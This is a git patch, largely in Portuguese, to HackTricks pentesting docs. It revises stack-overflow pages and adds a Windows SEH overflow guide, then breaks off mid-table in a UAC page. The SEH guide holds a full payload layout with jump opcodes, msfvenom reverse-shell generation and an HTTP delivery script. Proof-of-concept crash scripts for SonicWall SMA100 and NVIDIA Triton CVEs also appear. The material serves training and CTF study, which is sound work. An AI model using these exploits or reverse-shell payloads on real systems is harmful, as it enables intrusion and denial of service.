From 1cb51a5e3580477cf21245244b0987f4beadde6f Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 20:20:56 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/stack-overflow/windows-seh-overflow --- src/SUMMARY.md | 1 + .../stack-overflow/README.md | 93 +++++---- .../stack-overflow/windows-seh-overflow.md | 150 ++++++++++++++ .../uac-user-account-control.md | 194 +++++++++++------- 4 files changed, 320 insertions(+), 118 deletions(-) create mode 100644 src/binary-exploitation/stack-overflow/windows-seh-overflow.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e181a795f..ed10ffe41 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -779,6 +779,7 @@ - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md) - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md) - [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md) + - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Array Indexing](binary-exploitation/array-indexing.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Integer Overflow](binary-exploitation/integer-overflow.md) diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 45165435a..a5cdcaa71 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,15 +4,15 @@ ## O que é um Stack Overflow -Um **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na pilha do que foi alocado para armazená-los. Esses dados em excesso **sobrescreverão o espaço de memória adjacente**, levando à corrupção de dados válidos, interrupção do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema geralmente surge devido ao uso de funções inseguras que não realizam verificação de limites na entrada. +A **stack overflow** é uma vulnerabilidade que ocorre quando um programa grava mais dados no stack do que foi alocado para ele. Esse excesso de dados irá **sobrescrever espaços de memória adjacentes**, levando à corrupção de dados válidos, à alteração do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema frequentemente surge devido ao uso de funções inseguras que não realizam bounds checking na entrada. -O principal problema dessa sobrescrição é que o **ponteiro de instrução salvo (EIP/RIP)** e o **ponteiro de base salvo (EBP/RBP)** para retornar à função anterior estão **armazenados na pilha**. Portanto, um atacante poderá sobrescrever esses valores e **controlar o fluxo de execução do programa**. +O principal problema dessa sobrescrita é que o **saved instruction pointer (EIP/RIP)** e o **saved base pointer (EBP/RBP)** usados para retornar à função anterior são **armazenados no stack**. Portanto, um atacante poderá sobrescrevê-los e **controlar o fluxo de execução do programa**. -A vulnerabilidade geralmente surge porque uma função **copia na pilha mais bytes do que a quantidade alocada para ela**, conseguindo assim sobrescrever outras partes da pilha. +A vulnerabilidade normalmente surge porque uma função **copia para dentro do stack mais bytes do que a quantidade alocada para ela**, podendo assim sobrescrever outras partes do stack. -Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read` & `memcpy`** que aceitam um **argumento de comprimento**, podem ser usadas de maneira vulnerável se o comprimento especificado for maior do que o alocado. +Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read`** e **`memcpy`** que recebem um **argumento de comprimento**, podem ser usadas de forma vulnerável se o comprimento especificado for maior que o alocado. -Por exemplo, as seguintes funções poderiam ser vulneráveis: +For example, the following functions could be vulnerable: ```c void vulnerable() { char buffer[128]; @@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Encontrando os offsets de Stack Overflows +### Encontrando offsets de Stack Overflows -A maneira mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (por exemplo, `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que o **endereço `0x41414141` foi tentado acessar**. +A forma mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (ex.: `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que **foi tentado acessar o endereço `0x41414141`**. -Além disso, uma vez que você encontrou que há uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até que seja possível **sobrescrever o endereço de retorno**, para isso geralmente é usada uma **sequência de De Bruijn.** Que para um alfabeto dado de tamanho _k_ e subsequências de comprimento _n_ é uma **sequência cíclica na qual cada subsequência possível de comprimento _n_ aparece exatamente uma vez** como uma subsequência contígua. +Além disso, uma vez que você descobriu que existe uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até ser possível **sobrescrever o return address**; para isso geralmente se usa uma **De Bruijn sequence.** A qual, para um alfabeto de tamanho _k_ e subsequências de comprimento _n_, é uma **sequência cíclica em que cada subsequência possível de comprimento _n_ aparece exatamente uma vez** como subsequência contígua. -Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como preenchimento uma dessas sequências e, em seguida, encontrar o offset dos bytes que acabaram sobrescrevendo-o. +Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como padding uma dessas sequências e então encontrar o offset dos bytes que acabaram sobrescrevendo-o. É possível usar **pwntools** para isso: ```python @@ -48,61 +48,70 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Explorando Estouro de Pilha +## Exploiting Stack Overflows -Durante um estouro (supondo que o tamanho do estouro seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da pilha até alcançar o **EBP/RBP e EIP/RIP salvos (ou até mais)**.\ -A maneira mais comum de abusar desse tipo de vulnerabilidade é **modificando o endereço de retorno** para que, quando a função terminar, o **fluxo de controle seja redirecionado para onde o usuário especificou** neste ponteiro. +Durante um overflow (supondo que o tamanho do overflow seja grande o suficiente) você poderá **overwrite** valores de variáveis locais dentro da stack até alcançar o salvo **EBP/RBP and EIP/RIP (or even more)**.\ +A forma mais comum de abusar desse tipo de vulnerabilidade é **modificando o return address** de modo que, quando a função terminar, o **control flow será redirecionado para onde o usuário especificou** nesse ponteiro. -No entanto, em outros cenários, apenas **sobrescrever alguns valores de variáveis na pilha** pode ser suficiente para a exploração (como em desafios CTF fáceis). +No entanto, em outros cenários talvez apenas **sobrescrever alguns valores de variáveis na stack** seja suficiente para a exploração (como em desafios CTF fáceis). ### Ret2win -Neste tipo de desafios CTF, há uma **função** **dentro** do binário que **nunca é chamada** e que **você precisa chamar para vencer**. Para esses desafios, você só precisa encontrar o **offset para sobrescrever o endereço de retorno** e **encontrar o endereço da função** a ser chamada (geralmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaria desativado) para que, quando a função vulnerável retornar, a função oculta seja chamada: +In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called: {{#ref}} ret2win/ {{#endref}} -### Shellcode na Pilha +### Stack Shellcode -Neste cenário, o atacante poderia colocar um shellcode na pilha e abusar do EIP/RIP controlado para pular para o shellcode e executar código arbitrário: +Nesse cenário o atacante pode colocar um shellcode na stack e abusar do EIP/RIP controlado para saltar para o shellcode e executar código arbitrário: {{#ref}} stack-shellcode/ {{#endref}} -### Técnicas ROP & Ret2... +### Windows SEH-based exploitation (nSEH/SEH) -Esta técnica é a estrutura fundamental para contornar a principal proteção da técnica anterior: **Pilha não executável (NX)**. E permite realizar várias outras técnicas (ret2lib, ret2syscall...) que acabarão executando comandos arbitrários ao abusar de instruções existentes no binário: +On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start. + + +{{#ref}} +windows-seh-overflow.md +{{#endref}} + +### ROP & Ret2... techniques + +Essa técnica é a estrutura fundamental para contornar a principal proteção da técnica anterior: **No executable stack (NX)**. E permite realizar várias outras técnicas (ret2lib, ret2syscall...) que irão acabar executando comandos arbitrários ao abusar de instruções existentes no binary: {{#ref}} ../rop-return-oriented-programing/ {{#endref}} -## Estouros de Heap +## Heap Overflows -Um estouro não ocorrerá sempre na pilha, também pode ocorrer no **heap**, por exemplo: +Um overflow nem sempre vai acontecer na stack, ele também pode ocorrer no **heap**, por exemplo: {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} -## Tipos de Proteções +## Types of protections -Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira-as em: +Existem várias proteções tentando evitar a exploração de vulnerabilidades, confira-as em: {{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}} -### Exemplo do Mundo Real: CVE-2025-40596 (SonicWall SMA100) +### Real-World Example: CVE-2025-40596 (SonicWall SMA100) -Uma boa demonstração de por que **`sscanf` nunca deve ser confiável para analisar entradas não confiáveis** apareceu em 2025 no dispositivo SSL-VPN SMA100 da SonicWall. +Uma boa demonstração de por que **`sscanf` should never be trusted for parsing untrusted input** apareceu em 2025 no appliance SonicWall SMA100 SSL-VPN. A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`: ```c char version[3]; @@ -110,25 +119,26 @@ char endpoint[0x800] = {0}; /* simplified proto-type */ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` -1. A primeira conversão (`%2s`) armazena com segurança **dois** bytes em `version` (por exemplo, `"v1"`). -2. A segunda conversão (`%s`) **não tem especificador de comprimento**, portanto `sscanf` continuará copiando **até o primeiro byte NUL**. -3. Como `endpoint` está localizado na **pilha** e tem **0x800 bytes de comprimento**, fornecer um caminho mais longo que 0x800 bytes corrompe tudo que está após o buffer ‑ incluindo o **stack canary** e o **endereço de retorno salvo**. +1. A primeira conversão (`%2s`) armazena com segurança **dois** bytes em `version` (por exemplo `"v1"`). +2. A segunda conversão (`%s`) **não possui especificador de comprimento**, portanto `sscanf` continuará copiando **até o primeiro byte NUL**. +3. Como `endpoint` está localizado na **stack** e tem **0x800 bytes de tamanho**, fornecer um caminho maior que 0x800 bytes corrompe tudo que fica após o buffer ‑ incluindo o **stack canary** e o **saved return address**. -Uma prova de conceito em uma única linha é suficiente para acionar a falha **antes da autenticação**: +Um proof-of-concept de uma linha é suficiente para provocar o crash **antes da autenticação**: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Mesmo que canários de pilha abortem o processo, um atacante ainda ganha um **Denial-of-Service** primitivo (e, com vazamentos de informações adicionais, possivelmente execução de código). A lição é simples: +Mesmo que stack canaries abortem o processo, um atacante ainda obtém uma primitiva de **Denial-of-Service** (e, com leaks adicionais de informação, possivelmente code-execution). A lição é simples: -* Sempre forneça uma **largura máxima de campo** (por exemplo, `%511s`). -* Prefira alternativas mais seguras, como `snprintf`/`strncpy_s`. +* Sempre especifique uma **largura máxima de campo** (p.ex. `%511s`). +* Prefira alternativas mais seguras como `snprintf`/`strncpy_s`. -### Exemplo do Mundo Real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) +### Exemplo do mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -O NVIDIA Triton Inference Server (≤ v25.06) continha múltiplos **estouramentos de pilha** acessíveis através de sua API HTTP. O padrão vulnerável apareceu repetidamente em `http_server.cc` e `sagemaker_server.cc`: +O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos **stack-based overflows** acessíveis através de sua HTTP API. +O padrão vulnerável apareceu repetidamente em `http_server.cc` e `sagemaker_server.cc`: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); if (n > 0) { @@ -138,11 +148,11 @@ alloca(sizeof(struct evbuffer_iovec) * n); ... } ``` -1. `evbuffer_peek` (libevent) retorna o **número de segmentos de buffer internos** que compõem o corpo da solicitação HTTP atual. -2. Cada segmento causa a alocação de um **`evbuffer_iovec` de 16 bytes** na **pilha** via `alloca()` – **sem nenhum limite superior**. -3. Ao abusar do **_chunked transfer-encoding_ HTTP**, um cliente pode forçar a solicitação a ser dividida em **centenas de milhares de chunks de 6 bytes** (`"1\r\nA\r\n"`). Isso faz com que `n` cresça sem limites até que a pilha se esgote. +1. `evbuffer_peek` (libevent) retorna o **número de segmentos internos de buffer** que compõem o corpo da requisição HTTP atual. +2. Cada segmento faz com que um `evbuffer_iovec` de **16-byte** seja alocado na **stack** via `alloca()` – **sem qualquer limite superior**. +3. Ao abusar de **HTTP _chunked transfer-encoding_**, um cliente pode forçar a requisição a ser dividida em **centenas de milhares de chunks de 6-byte** (`"1\r\nA\r\n"`). Isso faz com que `n` cresça sem limite até que a stack seja esgotada. -#### Proof-of-Concept (DoS) +#### Prova de Conceito (DoS) ```python #!/usr/bin/env python3 import socket, sys @@ -166,10 +176,10 @@ s.close() if __name__ == "__main__": exploit(*sys.argv[1:]) ``` -Uma solicitação de ~3 MB é suficiente para sobrescrever o endereço de retorno salvo e **crash** o daemon em uma build padrão. +Uma requisição de ~3 MB é suficiente para sobrescrever o endereço de retorno salvo e **crash** o daemon em uma build padrão. -#### Patch & Mitigação -A versão 25.07 substitui a alocação de pilha insegura por um **`std::vector` baseado em heap** e lida graciosamente com `std::bad_alloc`: +#### Correção e Mitigação +A versão 25.07 substitui a alocação insegura na pilha por um **heap-backed `std::vector`** e trata graciosamente `std::bad_alloc`: ```c++ std::vector v_vec; try { @@ -181,11 +191,12 @@ struct evbuffer_iovec *v = v_vec.data(); ``` Lições aprendidas: * Nunca chame `alloca()` com tamanhos controlados pelo atacante. -* Solicitações em partes podem mudar drasticamente a forma dos buffers do lado do servidor. +* Requisições chunked podem alterar drasticamente a forma dos buffers do lado do servidor. * Valide / limite qualquer valor derivado da entrada do cliente *antes* de usá-lo em alocações de memória. ## Referências * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/) * [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/) +* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md new file mode 100644 index 000000000..5a31ae664 --- /dev/null +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -0,0 +1,150 @@ +# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH) + +{{#include ../../banners/hacktricks-training.md}} + +SEH-based exploitation é uma técnica clássica do Windows x86 que abusa do encadeamento do Structured Exception Handler armazenado na stack. Quando um buffer overflow na stack sobrescreve os dois campos de 4 bytes + +- nSEH: pointer to the next SEH record, and +- SEH: pointer to the exception handler function + +um atacante pode assumir o controle da execução ao: + +1) Apontar SEH para o endereço de um gadget POP POP RET em um módulo sem proteção, de forma que quando uma exceção for despachada o gadget retorne para bytes controlados pelo atacante, e +2) Usar nSEH para redirecionar a execução (tipicamente um short jump) de volta para o grande buffer que transbordou onde o shellcode reside. + +Esta técnica é específica para processos 32-bit (x86). Em sistemas modernos, prefira um módulo sem SafeSEH e ASLR para o gadget. Bad characters frequentemente incluem 0x00, 0x0a, 0x0d (NUL/CR/LF) devido a C-strings e parsing HTTP. + +--- + +## Finding exact offsets (nSEH / SEH) + +- Cause o crash do processo e verifique se o SEH chain foi sobrescrito (por exemplo, em x32dbg/x64dbg, verifique o SEH view). +- Envie um padrão cíclico como dados que transbordam e calcule os offsets dos dois dwords que caem em nSEH e SEH. + +Example with peda/GEF/pwntools on a 1000-byte POST body: +```bash +# generate pattern (any tool is fine) +/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 +# or +python3 -c "from pwn import *; print(cyclic(1000).decode())" + +# after crash, note the two 32-bit values from SEH view and compute offsets +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH +/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH +# ➜ offsets example: nSEH=660, SEH=664 +``` +Valide posicionando marcadores nessas posições (por exemplo, nSEH=b"BB", SEH=b"CC"). Mantenha o comprimento total constante para tornar o crash reproduzível. + +--- + +## Escolhendo um POP POP RET (SEH gadget) + +Você precisa de uma sequência POP POP RET para desempilhar o quadro SEH e retornar para seus bytes nSEH. Encontre-a em um módulo sem SafeSEH e idealmente sem ASLR: + +- Mona (Immunity/WinDbg): `!mona modules` depois `!mona seh -m modulename`. +- x64dbg plugin ERC.Xdbg: `ERC --SEH` para listar gadgets POP POP RET e o status do SafeSEH. + +Escolha um endereço que não contenha badchars quando escrito little-endian (por exemplo, `p32(0x004094D8)`). Prefira gadgets dentro do binário vulnerável se as proteções permitirem. + +--- + +## Técnica de jump-back (short + near jmp) + +nSEH tem apenas 4 bytes, o que comporta no máximo um short jump de 2 bytes (`EB xx`) mais padding. Se você precisar saltar centenas de bytes para trás para alcançar o início do seu buffer, use um near jump de 5 bytes colocado imediatamente antes de nSEH e encadeie para ele com um short jump a partir de nSEH. + +Com nasmshell: +```text +nasm> jmp -660 ; too far for short; near jmp is 5 bytes +E967FDFFFF +nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding) +EBF6 +nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) +E96FFDFFFF +``` +Ideia de layout para um payload de 1000 bytes com nSEH em offset 660: +```python +buffer_length = 1000 +payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start +payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH +payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding +payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad +payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) +payload += b"D" * (buffer_length - len(payload)) +``` +Fluxo de execução: +- Ocorre uma exceção, o dispatcher usa o SEH sobrescrito. +- POP POP RET desempilha para o nosso nSEH. +- nSEH executa `jmp short -8` para o near jump de 5 bytes. +- O near jump aterrissa no início do nosso buffer onde o NOP sled + shellcode residem. + +--- + +## Caracteres problemáticos + +Construa uma badchar string completa e compare a memória da stack após o crash, removendo bytes que são corrompidos pelo parser alvo. Para HTTP-based overflows, `\x00\x0a\x0d` quase sempre são excluídos. +```python +badchars = bytes([x for x in range(1,256)]) +payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case +``` +--- + +## Geração de Shellcode (x86) + +Use o msfvenom com seus badchars. Um pequeno NOP sled ajuda a tolerar variação no ponto de aterrissagem. +```bash +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ +-b "\x00\x0a\x0d" -f python -v sc +``` +Se gerado dinamicamente, o formato hex é conveniente para incorporar e unhex em Python: +```bash +msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ +-b "\x00\x0a\x0d" -f hex +``` +--- + +## Entrega via HTTP (CRLF preciso + Content-Length) + +Quando o vetor vulnerável for o corpo de uma requisição HTTP, construa um raw request com CRLFs exatos e Content-Length para que o servidor leia todo o corpo que transborda. +```python +# pip install pwntools +from pwn import remote +host, port = "", 8080 +body = b"A" * 1000 # replace with the SEH-aware buffer above +req = f"""POST / HTTP/1.1 +Host: {host}:{port} +User-Agent: curl/8.5.0 +Accept: */* +Content-Length: {len(body)} +Connection: close + +""".replace('\n','\r\n').encode() + body +p = remote(host, port) +p.send(req) +print(p.recvall(timeout=0.5)) +p.close() +``` +--- + +## Ferramentas + +- x32dbg/x64dbg para observar a cadeia SEH e fazer triagem do crash. +- ERC.Xdbg (x64dbg plugin) para enumerar SEH gadgets: `ERC --SEH`. +- Mona como alternativa: `!mona modules`, `!mona seh`. +- nasmshell para montar short/near jumps e copiar opcodes brutos. +- pwntools para criar payloads de rede precisos. + +--- + +## Notas e advertências + +- Aplica-se apenas a processos x86. x64 usa um esquema SEH diferente e exploração baseada em SEH geralmente não é viável. +- Prefira gadgets em módulos sem SafeSEH e ASLR; caso contrário, localize um módulo não protegido carregado no processo. +- Service watchdogs que reiniciam automaticamente após um crash podem facilitar o desenvolvimento iterativo de exploits. + +## Referências +- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) +- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) +- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) +- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md index b9ce7bb8b..25766cd5a 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md @@ -1,58 +1,59 @@ -# UAC - Controle de Conta de Usuário +# UAC - User Account Control {{#include ../../banners/hacktricks-training.md}} ## UAC -[Controle de Conta de Usuário (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) é um recurso que permite um **prompt de consentimento para atividades elevadas**. Aplicativos têm diferentes níveis de `integridade`, e um programa com um **alto nível** pode realizar tarefas que **podem potencialmente comprometer o sistema**. Quando o UAC está habilitado, aplicativos e tarefas sempre **são executados sob o contexto de segurança de uma conta não-administradora** a menos que um administrador autorize explicitamente esses aplicativos/tarefas a ter acesso de nível administrador ao sistema para serem executados. É um recurso de conveniência que protege os administradores de mudanças não intencionais, mas não é considerado uma barreira de segurança. +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) é uma funcionalidade que habilita um **prompt de consentimento para atividades elevadas**. Aplicações têm diferentes níveis de `integrity`, e um programa com um **nível high** pode executar tarefas que **podem potencialmente comprometer o sistema**. Quando o UAC está ativado, aplicações e tarefas sempre **são executadas no contexto de segurança de uma conta não-administradora** a menos que um administrador autorize explicitamente que essas aplicações/tarefas tenham acesso de nível administrador ao sistema para serem executadas. É uma funcionalidade de conveniência que protege administradores de alterações não intencionais, mas não é considerada uma fronteira de segurança. + +For more info about integrity levels: -Para mais informações sobre níveis de integridade: {{#ref}} ../windows-local-privilege-escalation/integrity-levels.md {{#endref}} -Quando o UAC está em vigor, um usuário administrador recebe 2 tokens: uma chave de usuário padrão, para realizar ações regulares como nível regular, e uma com privilégios de administrador. +Quando o UAC está em vigor, um usuário administrador recebe 2 tokens: um token de usuário padrão, para realizar ações regulares em nível normal, e outro com os privilégios de admin. -Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute como o UAC funciona em grande profundidade e inclui o processo de logon, a experiência do usuário e a arquitetura do UAC. Administradores podem usar políticas de segurança para configurar como o UAC funciona especificamente para sua organização em nível local (usando secpol.msc), ou configurado e distribuído via Objetos de Política de Grupo (GPO) em um ambiente de domínio Active Directory. As várias configurações são discutidas em detalhes [aqui](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Existem 10 configurações de Política de Grupo que podem ser definidas para o UAC. A tabela a seguir fornece detalhes adicionais: +This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute em profundidade como o UAC funciona e inclui o processo de logon, a experiência do usuário e a arquitetura do UAC. Administradores podem usar políticas de segurança para configurar como o UAC funciona especificamente para sua organização a nível local (usando secpol.msc), ou configuradas e distribuídas via Group Policy Objects (GPO) em um ambiente de Active Directory domain. As várias configurações são discutidas em detalhe [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Existem 10 Group Policy settings que podem ser definidas para o UAC. A tabela a seguir fornece detalhes adicionais: -| Configuração de Política de Grupo | Chave do Registro | Configuração Padrão | -| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ----------------------------------------------------------- | -| [Controle de Conta de Usuário: Modo de Aprovação do Administrador para a conta Administrador embutida](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Desativado | -| [Controle de Conta de Usuário: Permitir que aplicativos UIAccess solicitem elevação sem usar a área de trabalho segura](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Desativado | -| [Controle de Conta de Usuário: Comportamento do prompt de elevação para administradores no Modo de Aprovação do Administrador](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Solicitar consentimento para binários não-Windows | -| [Controle de Conta de Usuário: Comportamento do prompt de elevação para usuários padrão](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Solicitar credenciais na área de trabalho segura | -| [Controle de Conta de Usuário: Detectar instalações de aplicativos e solicitar elevação](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Habilitado (padrão para home) Desativado (padrão para enterprise) | -| [Controle de Conta de Usuário: Somente elevar executáveis que estão assinados e validados](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Desativado | -| [Controle de Conta de Usuário: Somente elevar aplicativos UIAccess que estão instalados em locais seguros](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Habilitado | -| [Controle de Conta de Usuário: Executar todos os administradores no Modo de Aprovação do Administrador](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Habilitado | -| [Controle de Conta de Usuário: Mudar para a área de trabalho segura ao solicitar elevação](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Habilitado | -| [Controle de Conta de Usuário: Virtualizar falhas de gravação de arquivos e registro para locais por usuário](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Habilitado | +| Group Policy Setting | Registry Key | Default Setting | +| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ | +| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Disabled | +| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled | +| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries | +| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop | +| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) | +| [User Account Control: Only elevate executables that are signed and 